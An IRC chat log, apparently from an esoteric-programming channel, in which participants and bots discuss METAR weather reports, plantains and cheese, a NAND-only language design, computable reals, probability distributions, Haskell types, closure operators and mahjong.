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01:25:03 <HackEgo> . o O ( Why are they asking me what a thought is? )
01:26:26 <oerjan> ah that one wasn't so bad either
01:27:00 <HackEgo> 10764:2017-04-18 <oerjän> slwd thought//s,for ,, \ 10716:2017-04-16 <rdocöc> le//rn thought//. o O ( Why are they asking me for what a thought is? )
01:28:03 <HackEgo> wisdom is always factually accurate, except for this entry, and, uh, that other one? It started with, like, an ø?
01:28:10 <HackEgo> metasepia//metasepia knew the weather at your nearest airport, and also something about ducks.
01:28:48 <lambdabot> LOWI 230020Z AUTO 08006KT 050V130 9999 -RA FEW015 BKN026 05/03 Q1020
01:28:58 <lambdabot> KOAK 222353Z 28019KT 10SM FEW012 FEW032 SCT070 OVC220 18/13 A3000 RMK AO2 SLP160 T01780128 10194 20178 56014
01:29:16 <int-e> . o O ( is that the time? ;-) )
01:30:08 <int-e> oerjan: well it says it's 00:20 GMT.
01:30:25 <int-e> (or was, when that entry was made)
01:30:40 <oerjan> so 8 minutes old, then.
01:30:53 <int-e> yeah, surprising...
01:31:14 <oerjan> it was bound to happen eventually.
01:31:49 <int-e> actually that 23:53 seems a bit stranger
01:32:17 <HackEgo> Metropolitan Oakland Intl (OAK, KOAK)
01:32:38 <boily> depends on the airfield, really. METAR are “usually” on the hour, with SPECI inbetween as needed.
01:32:42 <lambdabot> CYUL 230000Z 31005KT 30SM SCT040 BKN052 09/02 A3001 RMK SC3SC3 SLP164
01:34:43 <HackEgo> metar is a service Taneb invented that allows nerds to talk about the weather.
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01:42:00 * Zarutian reads an adpt quote on the 'Net: „The job of a soldier is to die for his country“ -unknown.
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01:51:16 <HackEgo> dingbat: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: <http://esolangs.org/>. (For the other kind of esoterica, try #esoteric on EFnet or DALnet.)
01:51:34 <dingbat> holy batman everything is rainbows!
01:51:48 <dingbat> to what do I owe this flamboyant greeting?
01:52:06 <boily> newcomers to this fine channel are always welcomed.
01:52:16 <boily> (`relcomed if I happen to be here. mwah ah ah.)
01:55:45 <shachaf> dingbat is hardly a newcomer
01:59:59 <boily> knew him all way back. long time ago. la la la <_<... >_>...
02:04:54 <oerjan> `learn dingbat is a famous font designer for Microsoft.
02:04:56 <HackEgo> Learned 'dingbat': dingbat is a famous font designer for Microsoft.
02:05:32 <shachaf> are you sure you're not confusing dingbat with dingbatman
02:06:15 <oerjan> nah. nah nah nah nah nah nah nah.
02:06:48 <shachaf> Do you actually know that from the Batman music or just from people talking about the Batman music on the Internet?
02:13:19 * oerjan should maybe listen to it sometime.
02:16:15 <oerjan> hm that sounds to me like da da da not na na na
02:21:49 <boily> na na na na na na na katamari damacy ♪
02:26:26 <shachaf> I asked because I'd never listened to it before.
02:26:48 <oerjan> me neither! at least that i can recall
02:33:10 <dingbat> i don't like bananas, therefore bananaphones are similarly icky
02:34:35 <boily> bell peppers were declared scow, and now bananas? that's horrible!
02:34:57 <oerjan> bananas are good, as long as they are just the right ripeness.
02:35:16 <oerjan> aka for about 5 minutes.
02:36:19 <boily> as long as there is no green showing, they're delicious.
02:36:37 <boily> avocadoes, on the other hand...
02:37:18 * oerjan guacks boily with a mole ~~~(===)o
02:37:56 <shachaf> oerjan: Plantains are good at many levels of ripeness.
02:38:09 <shachaf> I cooked three green plantains today.
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02:39:58 <shachaf> fizzie: Hmm, did you get a sword after fighting your snake?
02:41:44 * boily uses a tortilla shield to protect himself from the... what the hell is that flying thing?
02:41:52 <oerjan> i may not have tasted plantains. norwegian wikipedia says they have essentially nothing in common with ordinary bananas other than the shape.
02:42:18 <shachaf> I think when they're ripe they have a bananish flavor.
02:42:36 <shachaf> English Wikipedia says there's nothing that distinguishes them from ordinary bananas.
02:42:52 <shachaf> "The term "plantain" is loosely applied to any banana cultivar that is eaten when cooked. However, there is no formal botanical distinction between bananas and plantains. Cooking is also a matter of custom, rather than necessity."
02:44:10 <shachaf> Google translates the Norwegian Wikipedia text to "Plantain have quite different properties than usual banana , and it can be more considered a vegetable than fruit , as it, among other things can not be eaten raw."
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02:44:19 <shachaf> English Wikipedia says "Ripe plantains can be eaten raw, since the starches are converted to sugars as they ripen."
02:45:32 <boily> fried plantain is delicious, along with pilaf and oxtail stew.
02:45:44 <orby> mmmm plantains are indeed delicious
02:46:37 <shachaf> Now I made mashed plantains with fried halloumi.
02:46:48 <orby> ooo, what's halloumi?
02:47:14 <orby> what does it taste like?
02:47:50 <shachaf> It's white, firm, and is often grilled.
02:48:07 <orby> how does one fry it? is it typically breaded? or placed on bread?
02:48:23 <shachaf> One can fry it all sorts of ways.
02:48:35 <shachaf> It has a high melting point so it doesn't melt.
02:48:50 <orby> I see, I don't think I've ever dealt with a cheese with a high melting point.
02:49:22 <orby> I have a terrible habit of using commas where I should use periods,
02:49:34 <boily> halloumi and havarti are the perfect cheeses for râclette.
02:49:41 <shachaf> Well, you should try some halloumi.
02:49:52 <orby> I'll have to try it. I love trying new things :)
02:50:04 <orby> What is râclette?
02:50:22 <shachaf> When you bite halloumi, it squeaks against your teeth.
02:50:42 <orby> That doesn't sound very pleasant...
02:51:24 <oerjan> "Halloumi is set with rennet"
02:51:46 <boily> https://en.wikipedia.org/wiki/Raclette
02:52:00 <shachaf> oerjan: Non-animal rennet in this case.
02:52:01 <boily> you know your poutine is true if the cheese squeaks.
02:52:37 <boily> orby: forget the ^. that's my accent slipping.
02:53:03 <orby> Gotcha, sounds lovely
02:54:30 <orby> rennet is one of those tricky things for us vegetarians that I most often ignore but secretly feel guilty about ignoring
02:54:46 <orby> but I'm too lazy to be vegan :)
02:55:25 <boily> halloumi is also quite good in palak paneer :D
02:57:03 <oerjan> * [...] what the hell is that flying thing? <-- a mole, i said. they're somewhat competing with the moons for my lawn.
02:59:34 <boily> oerjan: ah! that kind of mole!
02:59:58 <oerjan> shachaf: a mole of guacks
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03:03:44 <orby> are there any functional languages on the wiki that deal only with boolean values that anyone knows about?
03:04:10 <orby> I was thinking today about a functional language whose only operator is nand
03:05:02 <shachaf> Is it true that no property of computable reals is decidable?
03:05:59 <orby> wouldn't the decidability of properties of computable reals be a property of computable reals?
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03:06:39 <shachaf> OK, no nontrivial property.
03:07:12 <orby> I do not know. I suppose it depends upon how you define nontrivial. Oerjan is probably a good person to ask. Oerjan is smart.
03:07:50 <oerjan> we have several languages with nand in the name but i'm not sure if any of them are functional.
03:07:54 <shachaf> In the same sense as Rice's theorem -- a property is trivial if it's true for all computable reals or false for all of them.
03:08:01 <oerjan> might depend on your definition.
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03:08:19 <shachaf> Are concatenative languages functional?
03:08:39 <orby> I do not know what a concatenative language is
03:08:53 <oerjan> orby: underload is one.
03:10:34 <oerjan> and although it's standard definition uses stacks, you can also think of it as a rewriting system.
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03:14:57 <orby> I was thinking, a functional language that only contains nand as an operator could define its functions with 3 tokens: a b c where a is the name of the function and it's return value is "b nand c" where b and c are function calls. If you wanted to get fancy you could do partial evaluation and first class functions but I don't think it's necessary.
03:15:25 <oerjan> shachaf: ok, if a property of reals is nontrivial, then by applying the least upper bound property you can find a real that has no open neighborhood that doesn't intersect both sets, which would imply what you want if it were computable... but i'm not sure it must be.
03:15:59 <oerjan> (both sets being the ones that have the property and those that don't.)
03:16:02 <shachaf> oerjan: If "decidable" means "clopen", then no property of the reals is decidable with the standard topology.
03:16:52 <orby> are computable reals dense in the reals?
03:17:01 <orby> I suppose they have to be since rationals are
03:18:09 <oerjan> shachaf: there are sets that are clopen in the relative topology of the computable reals, but they're probably then undecidable for other reasons.
03:18:33 <oerjan> (e.g. "is this number > omega")
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03:22:16 <oerjan> orby: your 3 tokens seem to be functionally defining a circuit of nand gates, then. you're going to need some initial variables too.
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03:22:55 <oerjan> shachaf: chaitin's omega, wasn't it?
03:23:46 <orby> oerjan: yes, that's what I'm thinking. What do you mean by initial variables? Like the ability to define f(x, y) := x nand y?
03:24:23 <oerjan> shachaf: hm can't you take your decision algorithm and turn it around into a search for an element at the boundary of where it applies...
03:25:11 <orby> Yeah, I was imagining something like:
03:25:19 <orby> nand(x, y) x y
03:25:20 <orby> and(x, y) nand(x, y) nand(x, y).
03:25:51 <orby> but I'm still searching for a more elegant way to define the relationships between the functions because I think it can be written more simply
03:26:55 <zzo38> Oops, there are some thing missing in GURPS. Such as, if you want your familar's wounds to affect you too but not other way around (it says how to do it both ways, and how to do it so that your wounds affect your familiar only, but it doesn't say how to do if your familiar's wounds affect you only).
03:29:41 <oerjan> shachaf: hm i think you can do a bisection search, if you start with two computable reals that have different answers.
03:30:19 <oerjan> that will give you a new computable real in the limit of both sets.
03:31:27 <oerjan> and then it cannot halt for that real because then there would be a neighborhood where it also gave the same answer.
03:32:10 <oerjan> s/it/the decision algorithm/
03:34:48 <oerjan> orby: well you could leave out the variables if all the functions in the definition took the same list
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03:35:01 <oerjan> but that's not good for reuse.
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03:35:38 <orby> oerjan: reuse is for sissies :)
03:35:52 <oerjan> or you could identify them by index, then you can drop them on the result.
03:36:46 <oerjan> perhaps combine those, so the default is to have the same list
03:36:57 <orby> hmmm, well, what is really essential here? I think it's necessary that we be able to support different arities
03:37:22 <orby> would including first class functions make this simpler in any way?
03:38:18 <orby> yeah, concise is a better word
03:38:59 <orby> but how would we know that's not and(a, b, c, d) nand(a, b) nand(c, d) instead of and(a, b) nand(a, b) nand(a, b)
03:39:38 <oerjan> orby: because by default, that's equivalent to and(1,2,3,...) nand(1,2,3,...) nand(1,2,3,...)
03:39:50 <oerjan> and nand only uses its first two arguments
03:40:15 <orby> I see what you're saying
03:40:18 <oerjan> i.e. make them all have infinite arguments, just don't use them.
03:40:36 <orby> hmmm interesting
03:41:39 <oerjan> or nand(1,1) nand(2,2)
03:42:05 <orby> do you think that is enough for turing completeness?
03:42:11 <oerjan> not nand(1,1) nand(1,1)
03:42:23 <oerjan> no. you're not going to get infinite memory.
03:42:51 <oerjan> it's enough for boolean completeness.
03:43:36 <oerjan> hm not 1 1 wasn't a syntax i was considering, but i guess it works
03:44:05 <oerjan> oh of course nand(1,1) was wrong.
03:44:34 <orby> err, f f(1, 2) g(2)
03:44:35 <oerjan> id nand(1,1) nand(1,1)
03:45:41 <orby> resolving loops would be interesting
03:45:53 <orby> from an interpreters point of view
03:46:39 <oerjan> if the circuit is time-dependent, it's no longer functional...
03:47:11 <orby> I don't understand how that introduces time dependency
03:47:51 <orby> wouldn't it just be an infinite expression tree?
03:47:57 <oerjan> well it's either time dependency or potential paradox.
03:48:20 <oerjan> you're not identifying any nodes...
03:48:30 <oerjan> that might give nondeterminism instead.
03:48:48 <orby> I haven't thought about it in depth
03:49:26 <oerjan> no wait it doesn't create an infinite number of nodes.
03:50:18 <oerjan> f f(1,2) g(2) means f(x,y) = nand(f(x,y),g(y))
03:50:50 <orby> so if f f g(3), then f(true, true, false) := (((f(true, true, false) nand g(false)) nand g(false)) nand g(false))...
03:50:52 <oerjan> that's a paradox if g(y) is true.
03:51:14 <orby> I don't think so, because each nand alternates
03:51:28 <orby> and g(y) is either true or false
03:51:39 <orby> so one of them trips a nand
03:51:51 <orby> or maybe I'm just confusing myself
03:52:15 <zzo38> What is the probability distribution of the difference of two independent uniform random variables with different ranges?
03:52:28 <oerjan> if you don't consider the inner f(x,y) to give the same result, then you have nondeterminism.
03:53:44 <zzo38> (And what is the way to figure it?)
03:54:53 <orby> yeah, I think you're right
03:55:57 <orby> but isn't that just the equivalent of an infinite loop?
03:56:01 <oerjan> zzo38: you could draw a rectangle representing the ranges of each, then diagonal lines where the subtraction is constant, then the probability of a difference should be the length of the intersection.
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03:56:37 <oerjan> that looks like it would be a piecewise linear thing.
03:57:29 <oerjan> *proportional to the length.
03:57:35 <zzo38> I intend the equation rather than the graph, but OK
03:57:48 <oerjan> well i'm too lazy to find the equation.
03:58:37 <zzo38> What is the method of figuring out the equation?
04:01:11 <oerjan> orby: it's an infinite loop into the past, yeah
04:01:31 <orby> hmm, consider f 1 g, g 1 f, f(true) := (true NAND g(true)) = (true NAND (true NAND f(true))
04:01:56 <orby> if we were using a reversible gate rather than NAND, then it'd be possible to isolate the f's
04:02:36 <orby> but it would be much less concise :(
04:09:01 <orby> oerjan: what if we introduced a third truth value for undeterminable
04:09:56 <oerjan> zzo38: oh. subtracting is the same as adding after negating the range of the second variable.
04:10:01 <orby> so, in the case above, f(true) = undeterminable, f(false) = true
04:12:24 <orby> the problem of deciding whether or not a function is determinable is probably undecidable :(
04:12:29 <zzo38> oerjan: Yes, it is that. (I am still not quite sure how to figure it?)
04:12:38 <zzo38> (But I did realize that already)
04:15:55 <oerjan> oh hm i'm thinking wrong about the scaling factor
04:17:31 <oerjan> ok when adding ranges [0,a] and [0,b] where b >=a, i think the distribution function is x, 0 <= x <= a; sqrt(2), a <= x <= b; a+b-x, b <= x <= a+b
04:18:45 <oerjan> probability density function, that is.
04:19:42 <oerjan> make that sqrt(2) into 1, maybe.
04:19:54 <oerjan> (it was left over after i fixed the scaling for the rest)
04:21:07 <zzo38> I did think of setting the ranges to start at zero, actually, so I suppose it can help. Because, then you just have one more constant so, is more easily.
04:21:48 <zzo38> But then, I would need the cdf rather than the pdf. Can that be figured by the antiderivative?
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04:22:11 <oerjan> x^2/2 for the first branch
04:22:38 <oerjan> 1-(a+b-x)^2/2 for the last one, i should think
04:25:05 <orby> What if we allowed first class functions and used explicit function evaluation, so f f 1 would be ((f(x))(y))(z) := (((f nand x) nand y) nand z), wouldn't that allow for the equivalent of unbounded memory access?
04:28:14 <oerjan> oh wait i'm still messing up the scaling.
04:30:23 <oerjan> a*x^2/(2*b), 1 - (a+b-x)^2/(2*a*b)
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04:45:20 <orby> I think that makes more sense with tail recursion, so f 1 f would be (f(x))(y) ... := (x nand (y nand f)) ... then f would consume an infinite number of values and would halt and return 1 iff one of those values was 0
04:47:14 <orby> no that's not exactly right, it would return the parity of the position of the first 0
04:47:51 <oerjan> zzo38: x^2/(2*a*b) for x <= a; a/(2*b) + (x - a)/b for a <= x <= b; 1 - (a+b-x)^2/(2*a*b) for b <= x <= a+b
04:48:50 <oerjan> um the middle one is also x/b - a/(2*b)
04:49:41 <oerjan> and that seems to fit together at least.
06:10:36 <shachaf> Cale: So if you want to put "Foo a" in a data type, you have three options: data T = T (forall a. Foo a); data T = forall a. T (Foo a); data T a = T (Foo a)
06:11:12 <shachaf> What if you have a constraint? You can write data T = T (forall a. K a => Foo a); data T = forall a. K a => T (Foo a)
06:11:22 <shachaf> Is there an equivalent for the parameterized version?
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06:15:45 <\oren\> Apparently literally every empire is denouncing Egypt
06:16:53 <oerjan> @let data T a = forall b. (b ~ a, Ord a) => T (Maybe a)
06:18:25 <oerjan> @let data U a = Ord a => T (Maybe a)
06:18:32 <oerjan> @let data U a = Ord a => U (Maybe a)
06:19:19 <oerjan> shachaf: anything wrong with that?
06:19:41 <shachaf> You could also write data U a = U (Ord a => Maybe a)
06:19:55 <shachaf> One is "existential", the other is "universal".
06:20:25 <shachaf> But neither is a "parameter"
06:20:31 <shachaf> Whatever that would mean. Maybe it's meaningless.
06:20:46 <shachaf> I mean that one is a tuple and the other is a function.
06:21:40 <shachaf> Your U a = (Ord a *> Maybe a)
06:22:48 <oerjan> i have no idea what you're asking, then.
06:26:01 <shachaf> There are three standard ways to bind a variable, and only two standard ways to constrain it.
06:26:18 <shachaf> Well, the *> version is the opposite of a constraint. Whatever that is.
06:28:30 <oerjan> @data Ord a => AncientEvil a => A a
06:28:34 <oerjan> @let data Ord a => AncientEvil a => A a
06:28:35 <lambdabot> Parse failed: Illegal data/newtype declaration
06:28:47 <oerjan> @let data Ord a => AncientEvil a = A a
06:28:47 <lambdabot> Illegal datatype context (use DatatypeContexts): Ord a =>
06:29:07 <oerjan> it's so evil my fingers refuse to type it correctly
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06:50:39 <shachaf> Yes, there's that, but that's clearly not it.
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08:22:59 <shachaf> You must do X and you must do Y <-> you must do (X and Y)
08:23:14 <shachaf> You may do X and you may do Y <-> you may do (X or Y)
08:23:35 <shachaf> What's a logic context for that?
08:25:41 <shachaf> whoa, that's more specific an answer than I expected.
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09:05:06 <shachaf> oerjan: But you have the same situation with e.g. Haskell-style constraints.
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09:05:19 <shachaf> I think there's a more general thing I'm thinking of whose name I can't remember.
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09:07:17 <oerjan> shachaf: modal logic? the "alethic" section of that wikipedia page might also match dependent on exactly what you mean by "must" and "may".
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10:49:25 <diginet> A modal logic programming language would be col
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11:25:11 <Jafet> would you think, perhaps, that it would necessarily be cool?
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12:13:33 <HackEgo> madness//madness lies thataway.
12:19:33 * rdococ pushes a number onto the stack
12:21:04 * boily observes rdococ pushing numbers on stacks
12:21:40 * rdococ writes a blank onto the tape
12:22:27 <rdococ> I've just realized why the universe is so weird at the microscopic level.
12:22:46 <rdococ> it runs on a hybrid of Entropy and Malbolge :P
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18:24:52 <\oren\> when do le polls fermay in le fronsais election
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18:53:21 <shachaf> oerjan: More generally, you have F(A and B) = F(A) and F(B) vs. F(A or B) = F(A) and F(B)
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19:24:25 <quintopia> i feel like i'm letting oerjan down right now
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19:25:06 <shachaf> he has that effect on people hth
19:25:33 <quintopia> sitting in a theatef for a performance of the royal shakespeare company's matilda
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20:05:32 <\oren\> https://www.youtube.com/watch?v=De4-aF2DIiw
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22:42:38 <\oren\> https://www.youtube.com/watch?v=328TJP0WDvE
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22:49:19 <\oren\> https://www.youtube.com/watch?v=Va9GbB-Meok&t=220s
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00:43:55 <HackEgo> category-helpdesk//category-helpdesk is a helpdesk with identity and composition. This channel isn't it.
00:44:36 <boily> alercah: hellorcah. I got on the receiving end of an oya yakuman today. ow.
00:44:55 <boily> (giving, maybe? burning end? business end?)
00:45:57 <oerjan> `le/rn oya yakuman//We don't know what an oya yakuman is, but based on boily's reaction, it must be quite painful.
00:46:01 <HackEgo> Learned 'oya yakuman': We don't know what an oya yakuman is, but based on boily's reaction, it must be quite painful.
00:46:36 <boily> I was aiming for riichi tan pin iipeikou dora, nothing fancy, and that guy pao'd me on a chinroutou.
00:46:41 <boily> east one, bust, new game!
00:46:55 * boily sighs in despair and curses the usual divinities
00:46:57 <alercah> wait how do you pao chinroutou?
00:47:13 <oerjan> boily: you know, if i hadn't known, i'd have assumed you were doing some fancy martial arts.
00:47:37 <boily> that's the thing, we weren't sure about pao on that, so we just assumed complete responsibility and that was it.
00:47:48 <boily> I mean, better a swift death than a prolonged one, eh?
00:48:10 <alercah> there's no pao on chinroutou because it's not guaranteed, even after four calls
00:48:27 <alercah> pao is only for when you guarantee yakuman
00:48:42 <alercah> (also sometimes for dealing into a daiminkan rinshan tsumo)
00:48:44 <boily> yeah. we checked afterwads to make sure, and no pao on that.
00:49:04 <int-e> wee I made a lucky guess and got the game correct
00:56:22 <boily> shuffling tiles is fun!
00:56:51 <alercah> haven't been doing enough of it
01:30:29 <HackEgo> spork//A spork is something to be randomly held in front of penguins.
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01:37:18 * oerjan wonders what that's a reference to.
01:38:30 <lambdabot> http://knowyourmeme.com/memes/katy-t3h-pengu1n-of-d00m
01:38:30 <lambdabot> Title: Katy t3h PeNgU1N oF d00m | Know Your Meme
01:38:32 * oerjan finds an ominously looking penguin wielding one, but that seems backwards.
01:42:43 <oerjan> oh hm i guess "held in front of" doesn't necessarily imply that it's not the penguin holding it.
01:42:54 <oerjan> also that site uses way too much cpu.
01:43:43 <oerjan> although i guess i was unlucky the first time and got a broken ad.
01:45:05 <oerjan> <diginet> A modal logic programming language would be col <-- i think haskell's monads may count in the curry-howard sense.
01:47:07 <oerjan> <shachaf> he has that effect on people hth <-- wat.
01:47:24 <boily> who, what, why, when, how, dequossé?
01:47:42 <shachaf> oerjan: I had to look up the context to remember.
01:47:57 <shachaf> The effect making people feel like they're letting you down.
01:48:24 <oerjan> <shachaf> oerjan: I had to look up the context to remember. <-- i think you've earned that.
01:48:49 <shachaf> I feel like I'm letting you down by not remembering it.
01:48:54 <oerjan> shachaf: that's absurd for a person as lazy as i am.
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01:51:14 <oerjan> <shachaf> oerjan: More generally, you have F(A and B) = F(A) and F(B) vs. F(A or B) = F(A) and F(B) <-- don't remember, although the first is obviously some kind of homomorphism and the second dual to it
01:52:28 <shachaf> Of course s/and/intersection/ and s/or/union/
01:53:05 <shachaf> What has the property F(A union B) = F(A) union F(B)?
01:53:16 <shachaf> https://en.wikipedia.org/wiki/Kuratowski_closure_axioms at least.
01:54:05 <oerjan> hm is kuratowski closure a monad.
01:55:24 <shachaf> A U cl(A) U cl(cl(A)) = cl(A U B) \ cl(ø)
01:56:07 <shachaf> A U cl(A) U cl(cl(B)) = cl(A U B) \ cl(ø)
01:56:25 <oerjan> is that some kind of 1-axiom summary
01:57:57 <shachaf> Closure operators in general are monads, aren't they?
02:02:57 <oerjan> A <= cl(A), cl(A) <= cl(A U B), cl(cl(B)) <= cl(B) follow immediately. then cl(ø)=ø, then cl(A) U cl(B) = cl(A U B).
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02:06:51 <alercah> this smells like matroids to me
02:07:52 <oerjan> alercah: no, just topology
02:07:53 <shachaf> I don't know about matroids but apparently closure operators are involved.
02:08:09 <alercah> oerjan: oh that's less interesting
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02:08:25 <shachaf> oerjan: I do like the alternative axiom for closure operators.
02:08:26 <HackEgo> Topology is another name for topos theory.
02:08:40 <shachaf> x <= cl(y) iff cl(x) <= cl(y)
02:09:51 <hppavilion[1]> I seem to remember that there's a service to register domains that centers itself on privacy, but I can't remember what it is...
02:10:05 <shachaf> sounds like they're doing good work
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02:29:08 <\oren\> hppavilion[1]: Gandhi keeps nuking me
02:29:09 <oerjan> shachaf: that alternative doesn't seem to disallow cl(A) = X for all A <= X.
02:29:29 <hppavilion[1]> oerjan: That's only if you don't allow alternative facts
02:29:39 <shachaf> oerjan: This is for closure operators, not Kuratowski closure operators.
02:30:03 * oerjan sidles back under rock
02:30:36 <hppavilion[1]> oerjan: WHOOPWHOOPWHOOPWHOOPWHOOPWHOOPWHOOPWHOOP I assume?
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02:32:22 <oerjan> did he spend much time under rocks? i've seen very little futurama.
02:33:45 <boily> oerjan is neither Zoidberg, nor Taneb hth
02:37:57 <\oren\> https://www.youtube.com/watch?v=Va9GbB-Meok&t=3577s
02:42:41 <hppavilion[1]> `learn Zoidberg is almost definitely a distinct entity from oerjan (p = .02)
02:42:43 <HackEgo> Learned 'zoidberg': Zoidberg is almost definitely a distinct entity from oerjan (p = .02)
02:43:00 <HackEgo> Your omnipheasant principal witty arrant darth oerjan the indecisive is a hazy expert in merry compaction. Also a Glaneep who disses Roald Dahl. He could never render the word "amortized" so he put it here for connivance. His arch-nemesis is Betty Crocker. He twice punned without noticing it.
02:43:04 <HackEgo> \oren\ is an attempt to improve upon oren. The only thing it actually improved was name recognizability, and it made everything else... unenthickenable, eh?
02:43:24 <HackEgo> œrjan is oerjan and ørjan's superhero third cousin (once removed) from Québec. He got his cheesy powers by falling into a giant poutine bowl.
02:44:54 <HackEgo> Your pal Ørjan is oerjan's good twin. He's banned in the IRC RFC for being an invalid character. Sometimes he publishes papers without noticing it.
02:46:43 <oerjan> `slwd zoidberg//s,$,.,
02:46:45 <HackEgo> zoidberg//Zoidberg is almost definitely a distinct entity from oerjan (p = .02).
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02:48:12 <shachaf> There are enough of those.
02:48:32 <HackEgo> /home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: exec: ʔ: not found
02:49:23 <hppavilion[1]> (clearly, `ʔ should return the same as `?, but with a bunch of apostrophe'es mixed in)
02:49:45 <shachaf> It should return the same thing as `?, but with all dots removed.
02:50:37 <hppavilion[1]> Which bad scifi writers like to use in alien languages, and represent by generously sprin'kling in apostrophes
02:50:49 <shachaf> And English speakers usually don't pronounce glottal stops for some reason.
02:51:02 <HackEgo> #!/bin/bash \ topic=$(echo "$1" | lowercase | sed "s/noo\+dl/nooodl/;s/ *$//") \ topic1=$(echo '`'"$topic" | sed 's/^`\(`\|$\)//') \ topic2=$(echo "$topic" | sed "s/s$//") \ cd wisdom \ if [ \( "_$topic2"_ = "_ngevd"_ \) -a \( -e ngevd \) ]; \ then cat /dev/urandom; \ elif [ -e "$topic" ]; \ then cat "$topic"; \ elif [ -e "$topic
02:51:23 <HackEgo> https://hackego.esolangs.org/fshg/index.cgi/file/tip/bin/%3F
02:51:48 <HackEgo> cp: missing destination file operand after ‘bin/? bin/ʔ’ \ Try 'cp --help' for more information.
02:52:21 <shachaf> There's no need to copy it to make this happen.
02:52:36 <shachaf> Moreover there's no real need for `ʔ to exist in the first place.
02:52:48 <shachaf> But if you want to make it, make bin/dedot and spend a while figuring out what it needs to do.
02:53:02 <HackEgo> cat: bin/lowercase2: No such file or directory
02:53:06 <HackEgo> #!/bin/bash \ print_args_or_input "$@" | tr A-Z a-z | LANG=en_NZ.UTF-8 sed 'y/ØÅÆŒÞÐÄÖÜÁÉÍÓÚÝŁ/øåæœþðäöüáéíóúýł/'
02:53:18 <shachaf> (Remove combining characters, convert i to ı, etc.)
02:53:39 <shachaf> But really it needn't exist at all.
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03:13:55 <oerjan> hppavilion[1]: i moved lowercase2 to lowercase
03:14:17 <oerjan> there was only one wisdom affected, and it seemed suitably ironic for it to be so
03:15:08 <HackEgo> cat: wisdom/Å: No such file or directory
03:15:11 <hppavilion[1]> oerjan: I think I proposed making `? so it would case-sensitively search before normalizing.
03:15:24 <HackEgo> 10657:2017-04-13 <oerjän> ` cd wisdom; mv {\xc3\x85,\xc3\xa5} \ 5303:2015-04-09 <Tanëb> learn \xc3\x85 _is_ a village in Norway, unless you\'re the BBC and don\'t understand things on top of letters.
03:15:38 <oerjan> hppavilion[1]: i know, but i dislike that idea.
03:15:48 <hppavilion[1]> oerjan: Also, lowercase2 still doesn't support exempli gråtiå Greek letters
03:19:35 <HackEgo> 10657:2017-04-13 <oerjän> ` cd wisdom; mv {\xc3\x85,\xc3\xa5} \ 5304:2015-04-10 <oerjän> learn \xc3\xa5 is the same letter as \xc3\x85, unless you\'re HackEgo and don\'t understand things on top of letters.
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03:27:59 <\oren\> https://youtu.be/5s8WlXgxtVc
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10:24:03 * rdococ is working on an image rotation algorithm
10:24:37 * Nistur wants to be working on an IF engine
10:26:16 <zzo38> A image rotation algorithm that is a single public domain C code I can include in my "Farbfeld Utilities" package
10:26:30 * Nistur is, instead, arguing with a horribly convoluted AI system -_-
10:26:44 <zzo38> What IF engine and what AI system, is that?
10:27:02 <Nistur> I will answer the second question first
10:27:25 <rdococ> At the moment though, it just seems to output a blurred version of the nearest neighbor algorithm.
10:28:12 <Nistur> the AI system some idiot *cough*me*cough* wrote to control the enemies in this game I'm working on. The studio I work for hasn't announced it yet so I cannot comment too much, but as the studio only makes VR games, it's fairly safe to say it's a VR title
10:28:34 <rdococ> (Actually, it utilizes a transformation that results in a smaller image which must be upscaled. Still odd how it looks blurry, though.)
10:28:48 <rdococ> (Since I haven't gotten to work on a new scaling algorithm yet.)
10:28:55 <zzo38> rdococ: Well, let to see once you fixed it
10:29:06 <Nistur> the IF engine is one I'll write from scratch because I have some stupid idea to make a 3D point and click adventure... which seems the logical jump, right? 3D adventure -> IF
10:30:10 <rdococ> Apparently what I did was accidentally create the nearest neighbor interpolation in a complicated way.
10:30:14 <zzo38> One VM for IF system is TAVERN; currently there is not the extension for point and click adventure but it is one of the extensions I intended to add too, actually
10:30:43 <Nistur> the reason for the jump is that I am being stingy and don't want to pay for art on a project which may not see the light of day... and I cannot art. Even my programmer art is terrible. So my _plan_ is to write an IF engine, and implement at least part of my story and puzzles in that... then start adding features so I could use the same game data to run both IF and point and click adventure games
10:30:55 <Nistur> (the IF obviously not using all the data...)
10:31:07 <Nistur> ... I like writing my own wheels
10:51:43 * rdococ accidentally rebuilt a wheel using only cushions
10:51:50 <rdococ> metaphorically of course
10:52:37 <oerjan> sounds like a soft ride
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10:58:25 <rdococ> maybe I should use a platform other than javascript for my experiments into image scaling
10:59:02 <rdococ> Javascript is kinda dumb anyway.
10:59:24 <zzo38> There are a lot of other choices
11:00:39 <Nistur> I would probably write it in C... but I guess python would be a 'standard' response
11:00:45 <Nistur> go is picking up popularity
11:01:24 <Nistur> alternatively, write it in verilog
11:07:21 <oerjan> sounds a bit circuitous.
11:08:19 <oerjan> OCTAVE is the free variant, i hear
11:10:06 <oerjan> no, k is an apl derivative hth
11:16:13 <rdococ> some packages could not be retrieved from the servers?
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11:42:32 <rdococ> SMITH is an assembly-like language that modifies itself. It might go together well with the Khartridge.
11:52:00 <rdococ> I was thinking about designing an esolang with first-class continuations.
12:06:59 <HackEgo> esrb//ESRB = Eric Steven Raymond's beard
12:07:22 <boily> `le/rn esrb//Eric Steven Raymond's Beard
12:07:24 <HackEgo> Relearned 'esrb': Eric Steven Raymond's Beard
12:07:57 <HackEgo> second wisdom//The second wisdom is that wisdom can never be complete or consistent.
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12:17:16 <HackEgo> chthonic//Chthonic lithping can be vethy dithturbing to lithten to.
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13:14:07 <rdococ> Well, I've somehow ended up designing my own map projection.
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15:58:21 <rdococ> . o O ( an esoteric image format )
15:59:33 <FireFly> somewhat tangental, I did come up with a bitmap font format where the font is stored as an image
15:59:40 <FireFly> mostly because it was easiest to edit for me
16:00:03 <FireFly> one that supports variable glyph width
16:05:00 <rdococ> what about modifier characters?
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16:09:07 <rdococ> I'd think about Fourier transformations but I think JPEG has that already
16:13:05 <rdococ> We're not restricted to compressing raster images. We could compress a vector image, for example.
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17:27:07 <\oren\> rdococ: the image format my prototype font editor uses might qualify
17:27:35 <\oren\> It stores an image as an array of integers, one for each scanline
17:27:57 <\oren\> so it supports a maximum width of 32 pixels
17:28:16 <\oren\> and only white and black
17:28:34 <\oren\> but there isn't any limit to the image's height
17:28:41 <rdococ> it's in clear black and white
17:28:54 <rdococ> but what about modifier characters?
17:29:33 <\oren\> actually is that the right grammer? overlain? overlayed?
17:29:38 <rdococ> how do modifier characters work in your prototype font editor?
17:30:42 <\oren\> the same as regualr ones
17:31:16 <\oren\> right now the editor sdoesn't have an actual interface yet
